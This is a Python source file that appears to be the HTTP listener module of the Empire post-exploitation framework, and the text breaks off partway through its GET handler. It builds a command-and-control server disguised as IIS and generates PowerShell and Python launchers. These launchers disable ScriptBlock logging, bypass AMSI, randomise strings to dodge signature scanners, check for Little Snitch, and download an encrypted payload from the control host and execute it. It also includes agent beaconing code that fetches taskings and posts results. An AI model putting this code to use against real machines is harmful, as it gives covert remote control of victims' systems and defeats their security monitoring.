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http.py
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http.py
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import logging
import base64
import sys
import random
import os
import ssl
import time
import copy
import json
import sys
from pydispatch import dispatcher
from flask import Flask, request, make_response, send_from_directory
# Empire imports
from lib.common import helpers
from lib.common import agents
from lib.common import encryption
from lib.common import packets
from lib.common import messages
from lib.common import templating
from lib.common import obfuscation
class Listener:
def __init__(self, mainMenu, params=[]):
self.info = {
'Name': 'HTTP[S]',
'Author': ['@harmj0y'],
'Description': ('Starts a http[s] listener (PowerShell or Python) that uses a GET/POST approach.'),
'Category' : ('client_server'),
'Comments': []
}
# any options needed by the stager, settable during runtime
self.options = {
# format:
# value_name : {description, required, default_value}
'Name' : {
'Description' : 'Name for the listener.',
'Required' : True,
'Value' : 'http'
},
'Host' : {
'Description' : 'Hostname/IP for staging.',
'Required' : True,
'Value' : "http://%s:%s" % (helpers.lhost(), 80)
},
'BindIP' : {
'Description' : 'The IP to bind to on the control server.',
'Required' : True,
'Value' : '0.0.0.0'
},
'Port' : {
'Description' : 'Port for the listener.',
'Required' : True,
'Value' : 80
},
'Launcher' : {
'Description' : 'Launcher string.',
'Required' : True,
'Value' : 'powershell -noP -sta -w 1 -enc '
},
'StagingKey' : {
'Description' : 'Staging key for initial agent negotiation.',
'Required' : True,
'Value' : '2c103f2c4ed1e59c0b4e2e01821770fa'
},
'DefaultDelay' : {
'Description' : 'Agent delay/reach back interval (in seconds).',
'Required' : True,
'Value' : 5
},
'DefaultJitter' : {
'Description' : 'Jitter in agent reachback interval (0.0-1.0).',
'Required' : True,
'Value' : 0.0
},
'DefaultLostLimit' : {
'Description' : 'Number of missed checkins before exiting',
'Required' : True,
'Value' : 60
},
'DefaultProfile' : {
'Description' : 'Default communication profile for the agent.',
'Required' : True,
'Value' : "/admin/get.php,/news.php,/login/process.php|Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko"
},
'CertPath' : {
'Description' : 'Certificate path for https listeners.',
'Required' : False,
'Value' : ''
},
'KillDate' : {
'Description' : 'Date for the listener to exit (MM/dd/yyyy).',
'Required' : False,
'Value' : ''
},
'WorkingHours' : {
'Description' : 'Hours for the agent to operate (09:00-17:00).',
'Required' : False,
'Value' : ''
},
'ServerVersion' : {
'Description' : 'Server header for the control server.',
'Required' : True,
'Value' : 'Microsoft-IIS/7.5'
},
'StagerURI' : {
'Description' : 'URI for the stager. Must use /download/. Example: /download/stager.php',
'Required' : False,
'Value' : ''
},
'UserAgent' : {
'Description' : 'User-agent string to use for the staging request (default, none, or other).',
'Required' : False,
'Value' : 'default'
},
'Proxy' : {
'Description' : 'Proxy to use for request (default, none, or other).',
'Required' : False,
'Value' : 'default'
},
'ProxyCreds' : {
'Description' : 'Proxy credentials ([domain\]username:password) to use for request (default, none, or other).',
'Required' : False,
'Value' : 'default'
},
'SlackToken' : {
'Description' : 'Your SlackBot API token to communicate with your Slack instance.',
'Required' : False,
'Value' : ''
},
'SlackChannel' : {
'Description' : 'The Slack channel or DM that notifications will be sent to.',
'Required' : False,
'Value' : '#general'
}
}
# required:
self.mainMenu = mainMenu
self.threads = {}
# optional/specific for this module
self.app = None
self.uris = [a.strip('/') for a in self.options['DefaultProfile']['Value'].split('|')[0].split(',')]
# set the default staging key to the controller db default
self.options['StagingKey']['Value'] = str(helpers.get_config('staging_key')[0])
# randomize the length of the default_response and index_page headers to evade signature based scans
self.header_offset = random.randint(0, 64)
def default_response(self):
"""
Returns an IIS 7.5 404 not found page.
"""
return '\n'.join([
'<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">',
'<html xmlns="http://www.w3.org/1999/xhtml">',
'<head>',
'<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"/>',
'<title>404 - File or directory not found.</title>',
'<style type="text/css">',
'<!--',
'body{margin:0;font-size:.7em;font-family:Verdana, Arial, Helvetica, sans-serif;background:#EEEEEE;}',
'fieldset{padding:0 15px 10px 15px;}',
'h1{font-size:2.4em;margin:0;color:#FFF;}',
'h2{font-size:1.7em;margin:0;color:#CC0000;}',
'h3{font-size:1.2em;margin:10px 0 0 0;color:#000000;}',
'#header{width:96%;margin:0 0 0 0;padding:6px 2% 6px 2%;font-family:"trebuchet MS", Verdana, sans-serif;color:#FFF;',
'background-color:#555555;}',
'#content{margin:0 0 0 2%;position:relative;}',
'.content-container{background:#FFF;width:96%;margin-top:8px;padding:10px;position:relative;}',
'-->',
'</style>',
'</head>',
'<body>',
'<div id="header"><h1>Server Error</h1></div>',
'<div id="content">',
' <div class="content-container"><fieldset>',
' <h2>404 - File or directory not found.</h2>',
' <h3>The resource you are looking for might have been removed, had its name changed, or is temporarily unavailable.</h3>',
' </fieldset></div>',
'</div>',
'</body>',
'</html>',
' ' * self.header_offset, # randomize the length of the header to evade signature based detection
])
def index_page(self):
"""
Returns a default HTTP server page.
"""
return '\n'.join([
'<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">',
'<html xmlns="http://www.w3.org/1999/xhtml">',
'<head>',
'<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />',
'<title>IIS7</title>',
'<style type="text/css">',
'<!--',
'body {',
' color:#000000;',
' background-color:#B3B3B3;',
' margin:0;',
'}',
'',
'#container {',
' margin-left:auto;',
' margin-right:auto;',
' text-align:center;',
' }',
'',
'a img {',
' border:none;',
'}',
'',
'-->',
'</style>',
'</head>',
'<body>',
'<div id="container">',
'<a href="http://go.microsoft.com/fwlink/?linkid=66138&clcid=0x409"><img src="welcome.png" alt="IIS7" width="571" height="411" /></a>',
'</div>',
'</body>',
'</html>',
])
def validate_options(self):
"""
Validate all options for this listener.
"""
self.uris = [a.strip('/') for a in self.options['DefaultProfile']['Value'].split('|')[0].split(',')]
for key in self.options:
if self.options[key]['Required'] and (str(self.options[key]['Value']).strip() == ''):
print helpers.color("[!] Option \"%s\" is required." % (key))
return False
return True
def generate_launcher(self, encode=True, obfuscate=False, obfuscationCommand="", userAgent='default', proxy='default', proxyCreds='default', stagerRetries='0', language=None, safeChecks='', listenerName=None):
"""
Generate a basic launcher for the specified listener.
"""
if not language:
print helpers.color('[!] listeners/http generate_launcher(): no language specified!')
if listenerName and (listenerName in self.threads) and (listenerName in self.mainMenu.listeners.activeListeners):
# extract the set options for this instantiated listener
listenerOptions = self.mainMenu.listeners.activeListeners[listenerName]['options']
host = listenerOptions['Host']['Value']
launcher = listenerOptions['Launcher']['Value']
stagingKey = listenerOptions['StagingKey']['Value']
profile = listenerOptions['DefaultProfile']['Value']
uris = [a for a in profile.split('|')[0].split(',')]
stage0 = random.choice(uris)
customHeaders = profile.split('|')[2:]
if language.startswith('po'):
# PowerShell
stager = '$ErrorActionPreference = \"SilentlyContinue\";'
if safeChecks.lower() == 'true':
stager = helpers.randomize_capitalization("If($PSVersionTable.PSVersion.Major -ge 3){")
# ScriptBlock Logging bypass
stager += helpers.randomize_capitalization("$GPF=[ref].Assembly.GetType(")
stager += "'System.Management.Automation.Utils'"
stager += helpers.randomize_capitalization(").\"GetFie`ld\"(")
stager += "'cachedGroupPolicySettings','N'+'onPublic,Static'"
stager += helpers.randomize_capitalization(");If($GPF){$GPC=$GPF.GetValue($null);If($GPC")
stager += "['ScriptB'+'lockLogging']"
stager += helpers.randomize_capitalization("){$GPC")
stager += "['ScriptB'+'lockLogging']['EnableScriptB'+'lockLogging']=0;"
stager += helpers.randomize_capitalization("$GPC")
stager += "['ScriptB'+'lockLogging']['EnableScriptBlockInvocationLogging']=0}"
stager += helpers.randomize_capitalization("$val=[Collections.Generic.Dictionary[string,System.Object]]::new();$val.Add")
stager += "('EnableScriptB'+'lockLogging',0);"
stager += helpers.randomize_capitalization("$val.Add")
stager += "('EnableScriptBlockInvocationLogging',0);"
stager += helpers.randomize_capitalization("$GPC")
stager += "['HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\ScriptB'+'lockLogging']"
stager += helpers.randomize_capitalization("=$val}")
stager += helpers.randomize_capitalization("Else{[ScriptBlock].\"GetFie`ld\"(")
stager += "'signatures','N'+'onPublic,Static'"
stager += helpers.randomize_capitalization(").SetValue($null,(New-Object Collections.Generic.HashSet[string]))}")
# @mattifestation's AMSI bypass
stager += helpers.randomize_capitalization("[Ref].Assembly.GetType(")
stager += "'System.Management.Automation.AmsiUtils'"
stager += helpers.randomize_capitalization(')|?{$_}|%{$_.GetField(')
stager += "'amsiInitFailed','NonPublic,Static'"
stager += helpers.randomize_capitalization(").SetValue($null,$true)};")
stager += "};"
stager += helpers.randomize_capitalization("[System.Net.ServicePointManager]::Expect100Continue=0;")
stager += helpers.randomize_capitalization("$wc=New-Object System.Net.WebClient;")
if userAgent.lower() == 'default':
profile = listenerOptions['DefaultProfile']['Value']
userAgent = profile.split('|')[1]
stager += "$u='"+userAgent+"';"
if 'https' in host:
# allow for self-signed certificates for https connections
stager += "[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};"
if userAgent.lower() != 'none':
stager += helpers.randomize_capitalization('$wc.Headers.Add(')
stager += "'User-Agent',$u);"
if proxy.lower() != 'none':
if proxy.lower() == 'default':
stager += helpers.randomize_capitalization("$wc.Proxy=[System.Net.WebRequest]::DefaultWebProxy;")
else:
# TODO: implement form for other proxy
stager += helpers.randomize_capitalization("$proxy=New-Object Net.WebProxy('")
stager += proxy.lower()
stager += helpers.randomize_capitalization("');")
stager += helpers.randomize_capitalization("$wc.Proxy = $proxy;")
if proxyCreds.lower() != 'none':
if proxyCreds.lower() == "default":
stager += helpers.randomize_capitalization("$wc.Proxy.Credentials = [System.Net.CredentialCache]::DefaultNetworkCredentials;")
else:
# TODO: implement form for other proxy credentials
username = proxyCreds.split(':')[0]
password = proxyCreds.split(':')[1]
if len(username.split('\\')) > 1:
usr = username.split('\\')[1]
domain = username.split('\\')[0]
stager += "$netcred = New-Object System.Net.NetworkCredential('"+usr+"','"+password+"','"+domain+"');"
else:
usr = username.split('\\')[0]
stager += "$netcred = New-Object System.Net.NetworkCredential('"+usr+"','"+password+"');"
stager += helpers.randomize_capitalization("$wc.Proxy.Credentials = $netcred;")
else:
stager += helpers.randomize_capitalization("$wc.Proxy=[System.Net.GlobalProxySelection]::GetEmptyWebProxy();")
#save the proxy settings to use during the entire staging process and the agent
stager += "$Script:Proxy = $wc.Proxy;"
# TODO: reimplement stager retries?
#check if we're using IPv6
listenerOptions = copy.deepcopy(listenerOptions)
bindIP = listenerOptions['BindIP']['Value']
port = listenerOptions['Port']['Value']
if ':' in bindIP:
if "http" in host:
if "https" in host:
host = 'https://' + '[' + str(bindIP) + ']' + ":" + str(port)
else:
host = 'http://' + '[' + str(bindIP) + ']' + ":" + str(port)
# code to turn the key string into a byte array
stager += helpers.randomize_capitalization("$K=[System.Text.Encoding]::ASCII.GetBytes(")
stager += "'%s');" % (stagingKey)
# this is the minimized RC4 stager code from rc4.ps1
stager += helpers.randomize_capitalization('$R={$D,$K=$Args;$S=0..255;0..255|%{$J=($J+$S[$_]+$K[$_%$K.Count])%256;$S[$_],$S[$J]=$S[$J],$S[$_]};$D|%{$I=($I+1)%256;$H=($H+$S[$I])%256;$S[$I],$S[$H]=$S[$H],$S[$I];$_-bxor$S[($S[$I]+$S[$H])%256]}};')
# prebuild the request routing packet for the launcher
routingPacket = packets.build_routing_packet(stagingKey, sessionID='00000000', language='POWERSHELL', meta='STAGE0', additional='None', encData='')
b64RoutingPacket = base64.b64encode(routingPacket)
stager += "$ser='%s';$t='%s';" % (host, stage0)
#Add custom headers if any
if customHeaders != []:
for header in customHeaders:
headerKey = header.split(':')[0]
headerValue = header.split(':')[1]
#If host header defined, assume domain fronting is in use and add a call to the base URL first
#this is a trick to keep the true host name from showing in the TLS SNI portion of the client hello
if headerKey.lower() == "host":
stager += helpers.randomize_capitalization("try{$ig=$WC.DownloadData($ser)}catch{};")
stager += helpers.randomize_capitalization("$wc.Headers.Add(")
stager += "\"%s\",\"%s\");" % (headerKey, headerValue)
# add the RC4 packet to a cookie
stager += helpers.randomize_capitalization("$wc.Headers.Add(")
stager += "\"Cookie\",\"session=%s\");" % (b64RoutingPacket)
stager += helpers.randomize_capitalization("$data=$WC.DownloadData($ser+$t);")
stager += helpers.randomize_capitalization("$iv=$data[0..3];$data=$data[4..$data.length];")
# decode everything and kick it over to IEX to kick off execution
stager += helpers.randomize_capitalization("-join[Char[]](& $R $data ($IV+$K))|IEX")
if obfuscate:
stager = helpers.obfuscate(self.mainMenu.installPath, stager, obfuscationCommand=obfuscationCommand)
# base64 encode the stager and return it
if encode and ((not obfuscate) or ("launcher" not in obfuscationCommand.lower())):
return helpers.powershell_launcher(stager, launcher)
else:
# otherwise return the case-randomized stager
return stager
if language.startswith('py'):
# Python
launcherBase = 'import sys;'
if "https" in host:
# monkey patch ssl woohooo
launcherBase += "import ssl;\nif hasattr(ssl, '_create_unverified_context'):ssl._create_default_https_context = ssl._create_unverified_context;\n"
try:
if safeChecks.lower() == 'true':
launcherBase += "import re, subprocess;"
launcherBase += "cmd = \"ps -ef | grep Little\ Snitch | grep -v grep\"\n"
launcherBase += "ps = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE)\n"
launcherBase += "out = ps.stdout.read()\n"
launcherBase += "ps.stdout.close()\n"
launcherBase += "if re.search(\"Little Snitch\", out):\n"
launcherBase += " sys.exit()\n"
except Exception as e:
p = "[!] Error setting LittleSnitch in stager: " + str(e)
print helpers.color(p, color='red')
if userAgent.lower() == 'default':
profile = listenerOptions['DefaultProfile']['Value']
userAgent = profile.split('|')[1]
launcherBase += "import urllib2;\n"
launcherBase += "UA='%s';" % (userAgent)
launcherBase += "server='%s';t='%s';" % (host, stage0)
# prebuild the request routing packet for the launcher
routingPacket = packets.build_routing_packet(stagingKey, sessionID='00000000', language='PYTHON', meta='STAGE0', additional='None', encData='')
b64RoutingPacket = base64.b64encode(routingPacket)
launcherBase += "req=urllib2.Request(server+t);\n"
# add the RC4 packet to a cookie
launcherBase += "req.add_header('User-Agent',UA);\n"
launcherBase += "req.add_header('Cookie',\"session=%s\");\n" % (b64RoutingPacket)
# Add custom headers if any
if customHeaders != []:
for header in customHeaders:
headerKey = header.split(':')[0]
headerValue = header.split(':')[1]
#launcherBase += ",\"%s\":\"%s\"" % (headerKey, headerValue)
launcherBase += "req.add_header(\"%s\",\"%s\");\n" % (headerKey, headerValue)
if proxy.lower() != "none":
if proxy.lower() == "default":
launcherBase += "proxy = urllib2.ProxyHandler();\n"
else:
proto = proxy.split(':')[0]
launcherBase += "proxy = urllib2.ProxyHandler({'"+proto+"':'"+proxy+"'});\n"
if proxyCreds != "none":
if proxyCreds == "default":
launcherBase += "o = urllib2.build_opener(proxy);\n"
else:
launcherBase += "proxy_auth_handler = urllib2.ProxyBasicAuthHandler();\n"
username = proxyCreds.split(':')[0]
password = proxyCreds.split(':')[1]
launcherBase += "proxy_auth_handler.add_password(None,'"+proxy+"','"+username+"','"+password+"');\n"
launcherBase += "o = urllib2.build_opener(proxy, proxy_auth_handler);\n"
else:
launcherBase += "o = urllib2.build_opener(proxy);\n"
else:
launcherBase += "o = urllib2.build_opener();\n"
#install proxy and creds globally, so they can be used with urlopen.
launcherBase += "urllib2.install_opener(o);\n"
# download the stager and extract the IV
launcherBase += "a=urllib2.urlopen(req).read();\n"
launcherBase += "IV=a[0:4];"
launcherBase += "data=a[4:];"
launcherBase += "key=IV+'%s';" % (stagingKey)
# RC4 decryption
launcherBase += "S,j,out=range(256),0,[]\n"
launcherBase += "for i in range(256):\n"
launcherBase += " j=(j+S[i]+ord(key[i%len(key)]))%256\n"
launcherBase += " S[i],S[j]=S[j],S[i]\n"
launcherBase += "i=j=0\n"
launcherBase += "for char in data:\n"
launcherBase += " i=(i+1)%256\n"
launcherBase += " j=(j+S[i])%256\n"
launcherBase += " S[i],S[j]=S[j],S[i]\n"
launcherBase += " out.append(chr(ord(char)^S[(S[i]+S[j])%256]))\n"
launcherBase += "exec(''.join(out))"
if encode:
launchEncoded = base64.b64encode(launcherBase)
launcher = "echo \"import sys,base64,warnings;warnings.filterwarnings(\'ignore\');exec(base64.b64decode('%s'));\" | /usr/bin/python &" % (launchEncoded)
return launcher
else:
return launcherBase
else:
print helpers.color("[!] listeners/http generate_launcher(): invalid language specification: only 'powershell' and 'python' are currently supported for this module.")
else:
print helpers.color("[!] listeners/http generate_launcher(): invalid listener name specification!")
def generate_stager(self, listenerOptions, encode=False, encrypt=True, obfuscate=False, obfuscationCommand="", language=None):
"""
Generate the stager code needed for communications with this listener.
"""
if not language:
print helpers.color('[!] listeners/http generate_stager(): no language specified!')
return None
profile = listenerOptions['DefaultProfile']['Value']
uris = [a.strip('/') for a in profile.split('|')[0].split(',')]
launcher = listenerOptions['Launcher']['Value']
stagingKey = listenerOptions['StagingKey']['Value']
workingHours = listenerOptions['WorkingHours']['Value']
killDate = listenerOptions['KillDate']['Value']
host = listenerOptions['Host']['Value']
customHeaders = profile.split('|')[2:]
# select some random URIs for staging from the main profile
stage1 = random.choice(uris)
stage2 = random.choice(uris)
if language.lower() == 'powershell':
# read in the stager base
f = open("%s/data/agent/stagers/http.ps1" % (self.mainMenu.installPath))
stager = f.read()
f.close()
# make sure the server ends with "/"
if not host.endswith("/"):
host += "/"
#Patch in custom Headers
if customHeaders != []:
headers = ','.join(customHeaders)
stager = stager.replace("$customHeaders = \"\";","$customHeaders = \""+headers+"\";")
#patch in working hours, if any
if workingHours != "":
stager = stager.replace('WORKING_HOURS_REPLACE', workingHours)
#Patch in the killdate, if any
if killDate != "":
stager = stager.replace('REPLACE_KILLDATE', killDate)
# patch the server and key information
stager = stager.replace('REPLACE_SERVER', host)
stager = stager.replace('REPLACE_STAGING_KEY', stagingKey)
stager = stager.replace('index.jsp', stage1)
stager = stager.replace('index.php', stage2)
randomizedStager = ''
for line in stager.split("\n"):
line = line.strip()
# skip commented line
if not line.startswith("#"):
# randomize capitalization of lines without quoted strings
if "\"" not in line:
randomizedStager += helpers.randomize_capitalization(line)
else:
randomizedStager += line
if obfuscate:
randomizedStager = helpers.obfuscate(self.mainMenu.installPath, randomizedStager, obfuscationCommand=obfuscationCommand)
# base64 encode the stager and return it
if encode:
return helpers.enc_powershell(randomizedStager)
elif encrypt:
RC4IV = os.urandom(4)
return RC4IV + encryption.rc4(RC4IV+stagingKey, randomizedStager)
else:
# otherwise just return the case-randomized stager
return randomizedStager
elif language.lower() == 'python':
template_path = [
os.path.join(self.mainMenu.installPath, '/data/agent/stagers'),
os.path.join(self.mainMenu.installPath, './data/agent/stagers')]
eng = templating.TemplateEngine(template_path)
template = eng.get_template('http.py')
template_options = {
'working_hours': workingHours,
'kill_date': killDate,
'staging_key': stagingKey,
'profile': profile,
'stage_1': stage1,
'stage_2': stage2
}
stager = template.render(template_options)
stager = obfuscation.py_minify(stager)
# base64 encode the stager and return it
if encode:
return base64.b64encode(stager)
if encrypt:
# return an encrypted version of the stager ("normal" staging)
RC4IV = os.urandom(4)
return RC4IV + encryption.rc4(RC4IV+stagingKey, stager)
else:
# otherwise return the standard stager
return stager
else:
print helpers.color("[!] listeners/http generate_stager(): invalid language specification, only 'powershell' and 'python' are currently supported for this module.")
def generate_agent(self, listenerOptions, language=None, obfuscate=False, obfuscationCommand=""):
"""
Generate the full agent code needed for communications with this listener.
"""
if not language:
print helpers.color('[!] listeners/http generate_agent(): no language specified!')
return None
language = language.lower()
delay = listenerOptions['DefaultDelay']['Value']
jitter = listenerOptions['DefaultJitter']['Value']
profile = listenerOptions['DefaultProfile']['Value']
lostLimit = listenerOptions['DefaultLostLimit']['Value']
killDate = listenerOptions['KillDate']['Value']
workingHours = listenerOptions['WorkingHours']['Value']
b64DefaultResponse = base64.b64encode(self.default_response())
if language == 'powershell':
f = open(self.mainMenu.installPath + "./data/agent/agent.ps1")
code = f.read()
f.close()
# patch in the comms methods
commsCode = self.generate_comms(listenerOptions=listenerOptions, language=language)
code = code.replace('REPLACE_COMMS', commsCode)
# strip out comments and blank lines
code = helpers.strip_powershell_comments(code)
# patch in the delay, jitter, lost limit, and comms profile
code = code.replace('$AgentDelay = 60', "$AgentDelay = " + str(delay))
code = code.replace('$AgentJitter = 0', "$AgentJitter = " + str(jitter))
code = code.replace('$Profile = "/admin/get.php,/news.php,/login/process.php|Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko"', "$Profile = \"" + str(profile) + "\"")
code = code.replace('$LostLimit = 60', "$LostLimit = " + str(lostLimit))
code = code.replace('$DefaultResponse = ""', '$DefaultResponse = "'+str(b64DefaultResponse)+'"')
# patch in the killDate and workingHours if they're specified
if killDate != "":
code = code.replace('$KillDate,', "$KillDate = '" + str(killDate) + "',")
if obfuscate:
code = helpers.obfuscate(self.mainMenu.installPath, code, obfuscationCommand=obfuscationCommand)
return code
elif language == 'python':
f = open(self.mainMenu.installPath + "./data/agent/agent.py")
code = f.read()
f.close()
# patch in the comms methods
commsCode = self.generate_comms(listenerOptions=listenerOptions, language=language)
code = code.replace('REPLACE_COMMS', commsCode)
# strip out comments and blank lines
code = helpers.strip_python_comments(code)
# patch in the delay, jitter, lost limit, and comms profile
code = code.replace('delay = 60', 'delay = %s' % (delay))
code = code.replace('jitter = 0.0', 'jitter = %s' % (jitter))
code = code.replace('profile = "/admin/get.php,/news.php,/login/process.php|Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko"', 'profile = "%s"' % (profile))
code = code.replace('lostLimit = 60', 'lostLimit = %s' % (lostLimit))
code = code.replace('defaultResponse = base64.b64decode("")', 'defaultResponse = base64.b64decode("%s")' % (b64DefaultResponse))
# patch in the killDate and workingHours if they're specified
if killDate != "":
code = code.replace('killDate = ""', 'killDate = "%s"' % (killDate))
if workingHours != "":
code = code.replace('workingHours = ""', 'workingHours = "%s"' % (killDate))
return code
else:
print helpers.color("[!] listeners/http generate_agent(): invalid language specification, only 'powershell' and 'python' are currently supported for this module.")
def generate_comms(self, listenerOptions, language=None):
"""
Generate just the agent communication code block needed for communications with this listener.
This is so agents can easily be dynamically updated for the new listener.
"""
if language:
if language.lower() == 'powershell':
updateServers = """
$Script:ControlServers = @("%s");
$Script:ServerIndex = 0;
""" % (listenerOptions['Host']['Value'])
if listenerOptions['Host']['Value'].startswith('https'):
updateServers += "\n[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};"
getTask = """
$script:GetTask = {
try {
if ($Script:ControlServers[$Script:ServerIndex].StartsWith("http")) {
# meta 'TASKING_REQUEST' : 4
$RoutingPacket = New-RoutingPacket -EncData $Null -Meta 4
$RoutingCookie = [Convert]::ToBase64String($RoutingPacket)
# build the web request object
$wc = New-Object System.Net.WebClient
# set the proxy settings for the WC to be the default system settings
$wc.Proxy = [System.Net.WebRequest]::GetSystemWebProxy();
$wc.Proxy.Credentials = [System.Net.CredentialCache]::DefaultCredentials;
if($Script:Proxy) {
$wc.Proxy = $Script:Proxy;
}
$wc.Headers.Add("User-Agent",$script:UserAgent)
$script:Headers.GetEnumerator() | % {$wc.Headers.Add($_.Name, $_.Value)}
$wc.Headers.Add("Cookie", "session=$RoutingCookie")
# choose a random valid URI for checkin
$taskURI = $script:TaskURIs | Get-Random
$result = $wc.DownloadData($Script:ControlServers[$Script:ServerIndex] + $taskURI)
$result
}
}
catch [Net.WebException] {
$script:MissedCheckins += 1
if ($_.Exception.GetBaseException().Response.statuscode -eq 401) {
# restart key negotiation
Start-Negotiate -S "$ser" -SK $SK -UA $ua
}
}
}
"""
sendMessage = """
$script:SendMessage = {
param($Packets)
if($Packets) {
# build and encrypt the response packet
$EncBytes = Encrypt-Bytes $Packets
# build the top level RC4 "routing packet"
# meta 'RESULT_POST' : 5
$RoutingPacket = New-RoutingPacket -EncData $EncBytes -Meta 5
if($Script:ControlServers[$Script:ServerIndex].StartsWith('http')) {
# build the web request object
$wc = New-Object System.Net.WebClient
# set the proxy settings for the WC to be the default system settings
$wc.Proxy = [System.Net.WebRequest]::GetSystemWebProxy();
$wc.Proxy.Credentials = [System.Net.CredentialCache]::DefaultCredentials;
if($Script:Proxy) {
$wc.Proxy = $Script:Proxy;
}
$wc.Headers.Add('User-Agent', $Script:UserAgent)
$Script:Headers.GetEnumerator() | ForEach-Object {$wc.Headers.Add($_.Name, $_.Value)}
try {
# get a random posting URI
$taskURI = $Script:TaskURIs | Get-Random
$response = $wc.UploadData($Script:ControlServers[$Script:ServerIndex]+$taskURI, 'POST', $RoutingPacket);
}
catch [System.Net.WebException]{
# exception posting data...
if ($_.Exception.GetBaseException().Response.statuscode -eq 401) {
# restart key negotiation
Start-Negotiate -S "$ser" -SK $SK -UA $ua
}
}
}
}
}
"""
return updateServers + getTask + sendMessage
elif language.lower() == 'python':
updateServers = "server = '%s'\n" % (listenerOptions['Host']['Value'])
if listenerOptions['Host']['Value'].startswith('https'):
updateServers += "hasattr(ssl, '_create_unverified_context') and ssl._create_unverified_context() or None"
sendMessage = """
def send_message(packets=None):
# Requests a tasking or posts data to a randomized tasking URI.
# If packets == None, the agent GETs a tasking from the control server.
# If packets != None, the agent encrypts the passed packets and
# POSTs the data to the control server.
global missedCheckins
global server
global headers
global taskURIs
data = None
if packets:
data = ''.join(packets)
# aes_encrypt_then_hmac is in stager.py
encData = aes_encrypt_then_hmac(key, data)
data = build_routing_packet(stagingKey, sessionID, meta=5, encData=encData)
else:
# if we're GETing taskings, then build the routing packet to stuff info a cookie first.
# meta TASKING_REQUEST = 4
routingPacket = build_routing_packet(stagingKey, sessionID, meta=4)
b64routingPacket = base64.b64encode(routingPacket)
headers['Cookie'] = "session=%s" % (b64routingPacket)
taskURI = random.sample(taskURIs, 1)[0]
requestUri = server + taskURI
try:
data = (urllib2.urlopen(urllib2.Request(requestUri, data, headers))).read()
return ('200', data)
except urllib2.HTTPError as HTTPError:
# if the server is reached, but returns an erro (like 404)
missedCheckins = missedCheckins + 1
#if signaled for restaging, exit.
if HTTPError.code == 401:
sys.exit(0)
return (HTTPError.code, '')
except urllib2.URLError as URLerror:
# if the server cannot be reached
missedCheckins = missedCheckins + 1
return (URLerror.reason, '')
return ('', '')
"""
return updateServers + sendMessage
else:
print helpers.color("[!] listeners/http generate_comms(): invalid language specification, only 'powershell' and 'python' are currently supported for this module.")
else:
print helpers.color('[!] listeners/http generate_comms(): no language specified!')
def start_server(self, listenerOptions):
"""
Threaded function that actually starts up the Flask server.
"""
# make a copy of the currently set listener options for later stager/agent generation
listenerOptions = copy.deepcopy(listenerOptions)
# suppress the normal Flask output
log = logging.getLogger('werkzeug')
log.setLevel(logging.ERROR)
bindIP = listenerOptions['BindIP']['Value']
host = listenerOptions['Host']['Value']
port = listenerOptions['Port']['Value']
stagingKey = listenerOptions['StagingKey']['Value']
stagerURI = listenerOptions['StagerURI']['Value']
userAgent = self.options['UserAgent']['Value']
listenerName = self.options['Name']['Value']
proxy = self.options['Proxy']['Value']
proxyCreds = self.options['ProxyCreds']['Value']
app = Flask(__name__)
self.app = app
@app.route('/download/<stager>')
def send_stager(stager):
if 'po' in stager:
launcher = self.mainMenu.stagers.generate_launcher(listenerName, language='powershell', encode=False, userAgent=userAgent, proxy=proxy, proxyCreds=proxyCreds)
return launcher
elif 'py' in stager:
launcher = self.mainMenu.stagers.generate_launcher(listenerName, language='python', encode=False, userAgent=userAgent, proxy=proxy, proxyCreds=proxyCreds)
return launcher
else:
return make_response(self.default_response(), 404)
@app.before_request
def check_ip():
"""
Before every request, check if the IP address is allowed.
"""
if not self.mainMenu.agents.is_ip_allowed(request.remote_addr):
listenerName = self.options['Name']['Value']
message = "[!] {} on the blacklist/not on the whitelist requested resource".format(request.remote_addr)
signal = json.dumps({
'print': True,
'message': message
})
dispatcher.send(signal, sender="listeners/http/{}".format(listenerName))
return make_response(self.default_response(), 404)
@app.after_request
def change_header(response):
"Modify the default server version in the response."
response.headers['Server'] = listenerOptions['ServerVersion']['Value']
return response
@app.after_request
def add_proxy_headers(response):
"Add HTTP headers to avoid proxy caching."
response.headers['Cache-Control'] = "no-cache, no-store, must-revalidate"
response.headers['Pragma'] = "no-cache"
response.headers['Expires'] = "0"
return response
@app.route('/')
@app.route('/index.html')
def serve_index():
"""
Return default server web page if user navigates to index.
"""
static_dir = self.mainMenu.installPath + "data/misc/"
return make_response(self.index_page(), 200)
@app.route('/welcome.png')
def serve_index_helper():
"""
Serves image loaded by index page.
"""
static_dir = self.mainMenu.installPath + "data/misc/"
return send_from_directory(static_dir, 'welcome.png')
@app.route('/<path:request_uri>', methods=['GET'])
def handle_get(request_uri):
"""
Handle an agent GET request.
This is used during the first step of the staging process,
and when the agent requests taskings.
"""
clientIP = request.remote_addr
listenerName = self.options['Name']['Value']
message = "[*] GET request for {}/{} from {}".format(request.host, request_uri, clientIP)
signal = json.dumps({
'print': False,
'message': message
})
dispatcher.send(signal, sender="listeners/http/{}".format(listenerName))
routingPacket = None
cookie = request.headers.get('Cookie')
if cookie and cookie != '':
try:
# see if we can extract the 'routing packet' from the specified cookie location
# NOTE: this can be easily moved to a paramter, another cookie value, etc.
if 'session' in cookie:
listenerName = self.options['Name']['Value']
message = "[*] GET cookie value from {} : {}".format(clientIP, cookie)
signal = json.dumps({
'print': False,
'message': message
})
dispatcher.send(signal, sender="listeners/http/{}".format(listenerName))
cookieParts = cookie.split(';')
for part in cookieParts:
if part.startswith('session'):
base64RoutingPacket = part[part.find('=')+1:]
# decode the routing packet base64 value in the cookie
routingPacket = base64.b64decode(base64RoutingPacket)
except Exception as e:
routingPacket = None
pass
if routingPacket:
# parse the routing packet and process the results